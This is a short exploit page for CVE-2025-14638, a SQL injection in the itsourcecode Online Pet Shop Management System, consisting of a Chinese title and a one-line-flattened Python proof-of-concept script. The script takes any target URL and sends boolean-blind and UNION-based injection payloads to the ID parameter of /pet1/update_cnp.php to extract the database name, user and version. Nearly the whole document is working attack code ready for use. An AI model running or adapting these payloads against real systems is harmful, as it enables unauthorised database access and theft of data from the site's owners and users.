CVE-2025-14638 itsourcecode在线宠物店管理系统 SQL注入漏洞

import requests import sys # CVE-2025-14638 SQL Injection PoC # Target: itsourcecode Online Pet Shop Management System 1.0 # Endpoint: /pet1/update_cnp.php # Parameter: ID (vulnerable to SQL injection) def exploit_sqli(url, payload): """ SQL Injection exploit for CVE-2025-14638 The ID parameter in /pet1/update_cnp.php is vulnerable to SQL injection """ target_url = f"{url}/pet1/update_cnp.php" # Basic authentication bypass payload params = { 'ID': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def test_blind_sqli(url): """ Test for boolean-based blind SQL injection Extract database version information """ # True condition - should return normal response true_payload = "1' AND 1=1 -- -" # False condition - should return different response false_payload = "1' AND 1=2 -- -" print("[*] Testing blind SQL injection...") true_resp = exploit_sqli(url, true_payload) false_resp = exploit_sqli(url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed!") # Extract database version version_payload = "1' AND SUBSTRING(@@version,1,1)=5 -- -" version_resp = exploit_sqli(url, version_payload) if version_resp != false_resp: print("[+] Database version appears to be MySQL 5.x") else: print("[-] Blind SQL injection test inconclusive") def extract_database_info(url): """ Extract database information using UNION-based SQL injection """ # UNION injection to extract database name union_payload = "1' UNION SELECT NULL,database(),user(),version() -- -" print(f"[*] Extracting database info with payload: {union_payload}") result = exploit_sqli(url, union_payload) print(f"[+] Response preview: {result[:500]}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-14638 SQL Injection Test") test_blind_sqli(target) extract_database_info(target)